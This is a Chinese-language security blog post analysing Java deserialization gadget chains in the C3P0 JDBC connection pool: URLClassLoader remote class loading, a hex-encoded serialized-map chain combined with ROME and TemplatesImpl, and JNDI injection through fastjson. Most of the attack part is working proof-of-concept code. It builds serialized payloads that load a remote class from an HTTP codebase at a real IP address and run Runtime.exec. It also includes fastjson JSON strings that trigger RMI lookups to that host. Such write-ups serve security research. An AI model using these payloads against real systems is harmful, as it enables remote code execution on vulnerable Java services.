https://tttang.com/archive/1411/#toc_urlclassloader

# c3p0 简介

C3P0 是 JDBC 的一个连接池组件

JDBC:

"JDBC 是 Java DataBase Connectivity 的缩写,它是 Java 程序访问数据库的标准接口。
使用 Java 程序访问数据库时,Java 代码并不是直接通过 TCP 连接去访问数据库,而是通过 JDBC 接口来访问,而 JDBC 接口则通过 JDBC 驱动来实现真正对数据库的访问。"

连接池:

" 我们在讲多线程的时候说过,创建线程是一个昂贵的操作,如果有大量的小任务需要执行,并且频繁地创建和销毁线程,实际上会消耗大量的系统资源,往往创建和消耗线程所耗费的时间比执行任务的时间还长,所以,为了提高效率,可以用线程池。
类似的,在执行 JDBC 的增删改查的操作时,如果每一次操作都来一次打开连接,操作,关闭连接,那么创建和销毁 JDBC 连接的开销就太大了。为了避免频繁地创建和销毁 JDBC 连接,我们可以通过连接池(Connection Pool)复用已经创建好的连接。"

C3P0:

C3P0 是一个开源的 JDBC 连接池,它实现了数据源和 JNDI 绑定,支持 JDBC3 规范和 JDBC2 的标准扩展。 使用它的开源项目有 Hibernate、Spring 等。

# URLClassLoader 链

这里就直接正向分析

入口在 PoolBackedDataSourceBase.readObject

image-20220524211228665

看到会调用序列流中的对象的 getObject 方法,调用 ReferenceIndirector.getObject

image-20220524211616856

由于 ref 是在序列化的时候可以控制的参数,那么 fClassName 自然也是可以控制的属性。
结合下图黄框中的内容不难发现,我们可以通过 URLClassLoader 实例化远程类,造成任意代码执行。

image-20220524212346716

# poc

public class test {
    public static void main(String[] args) throws Exception {
        PoolBackedDataSourceBase a = new PoolBackedDataSourceBase(false);
        Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
        Field f1 = clazz.getDeclaredField("connectionPoolDataSource"); // 此类是 PoolBackedDataSourceBase 抽象类的实现
        f1.setAccessible(true);
        f1.set(a,new evil());
        
        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(a);
        oos.close();
        String payload = new String(Base64.getEncoder().encode(baos.toByteArray()));
        System.out.println(payload);
        // 反序列化
//        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
//        ObjectInputStream ois = new ObjectInputStream(bais);
//        ois.readObject();
//        ois.close();
    }
    public static class evil implements ConnectionPoolDataSource, Referenceable {
        @Override
        public PrintWriter getLogWriter() throws SQLException { return null;}
        public void setLogWriter (PrintWriter out ) throws SQLException {}
        public void setLoginTimeout ( int seconds ) throws SQLException {}
        public int getLoginTimeout () throws SQLException {return 0;}
        public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
        public PooledConnection getPooledConnection () throws SQLException {return null;}
        public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
        @Override
        public Reference getReference() throws NamingException {
            return new Reference("evil","evil","http://120.79.0.164:1236/");
        }
    }
}

解释一下这个 evil

我们看到 PoolBackedDataSourceBase 类(抽象类)的 writeObject 方法中有如下内容

image-20220524213812226

该方法会尝试将当前对象的 connectionPoolDataSource 属性进行序列化,如果不能序列化便会在 catch 块中对 connectionPoolDataSource 属性用 ReferenceIndirector.indirectForm 方法处理后再进行序列化操作。

看一下这个 connectionPoolDataSource 属性

image-20220524214136170

image-20220524214159083

是不能进行序列化的,所以会进入 catch 模块

我们跟进 ReferenceIndirector.indirectForm 方法。

image-20220524214325348

此方法会调用 connectionPoolDataSource 属性的 getReference 方法,并用返回结果作为参数实例化一个 ReferenceSerialized 对象,然后将 ReferenceSerialized 对象返回, ReferenceSerialized 被序列化。
下图是 ReferenceSerialized 构造方法,结合上文可以发现,其 reference 对象是人为可控的。

image-20220524214413158

也就是说我们继承一下 Referenceable 类即可

# hex base

如果不出网,而且是 fastjsonjackson 的情况,可以用这个 Gadget

入口点在 SerializableUtils.fromByteArray

image-20220531105557124

image-20220531105613619

这里对传入的字节码进行反序列化

然后正向看

WrapperConnectionPoolDataSource.setUserOverridesAsString

image-20220531111220630

跟进

image-20220531111304836

image-20220531111410464

重点在这里的 parseUserOverridesAsString

image-20220531111447536

会截取传入的 userOverridesAsStringHexAsciiSerializedMap 后面的部分作为 16 进制,然后进行反序列化处理

# poc

rome 反序列化来试试

public class test {
    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }
    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }
    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static byte[] toByteArray(InputStream in) throws IOException {
        byte[] classBytes;
        classBytes = new byte[in.available()];
        in.read(classBytes);
        in.close();
        return classBytes;
    }
    public static String bytesToHexString(byte[] bArray, int length) {
        StringBuffer sb = new StringBuffer(length);
        for(int i = 0; i < length; ++i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }
            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaa");
        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());
        //templates.getOutputProperties();
        ToStringBean toStringBean = new ToStringBean(Templates.class, new TemplatesImpl());
        //toStringBean.toString();
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
        //equalsBean.hashCode();
        HashMap<Object, Object> map = new HashMap<>();
        map.put(equalsBean, "bbb");
        setValue(toStringBean, "_obj", templates);
        serialize(map);
        InputStream in = new FileInputStream("ser.bin");
        byte[] bytes = toByteArray(in);
        String Hex = "HexAsciiSerializedMap:"+bytesToHexString(bytes,bytes.length)+"p";
        WrapperConnectionPoolDataSource exp = new WrapperConnectionPoolDataSource();
        exp.setUserOverridesAsString(Hex);
    }
}

image-20220531112359241

结合 fastjson

public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaa");
        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());
        //templates.getOutputProperties();
        ToStringBean toStringBean = new ToStringBean(Templates.class, new TemplatesImpl());
        //toStringBean.toString();
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
        //equalsBean.hashCode();
        HashMap<Object, Object> map = new HashMap<>();
        map.put(equalsBean, "bbb");
        setValue(toStringBean, "_obj", templates);
        serialize(map);
        InputStream in = new FileInputStream("ser.bin");
        byte[] bytes = toByteArray(in);
        String Hex = "HexAsciiSerializedMap:"+bytesToHexString(bytes,bytes.length)+"p";
        String exp = "{\"@type\": \"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\"userOverridesAsString\":\"" + Hex +"\"}";
        JSON.parse(exp);
    }

image-20220531113533253

# jndi

同样也是在 fastjsonjackson 环境中可用。 jndi 适用于 jdk8u191 以下支持 reference 情况

JndiRefForwardingDataSource.dereference

这里有 lookup , 调用对象是其自身 jndiName 属性

image-20220531103304174

看一下谁调用了这个函数

自身的 inner

image-20220531103806289

找一下哪里调用这个

image-20220531103848843

这里很多 settergetter 方法,在结合 fastjsonjackson 的时候可以使用

# poc

写一下简单的 poc,这里用 setLoginTimeout 触发

public class test {
    public static void main(String[] args) throws Exception {
        JndiRefConnectionPoolDataSource exp = new JndiRefConnectionPoolDataSource();
        exp.setJndiName("rmi://120.79.0.164:1099/cxhurh");
        exp.setLoginTimeout(1);
    }
}

image-20220531104419614

fastjson 结合的 poc

public class test {
    public static void main(String[] args) throws Exception {
        String poc = "{\"@type\": \"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",\"jndiName\":\"rmi://120.79.0.164:1099/cxhurh\", \"loginTimeout\":0}";
        JSON.parse(poc);
    }
}

image-20220531105105435

请我喝[茶]~( ̄▽ ̄)~*

miku233 微信支付

微信支付

miku233 支付宝

支付宝

miku233 贝宝

贝宝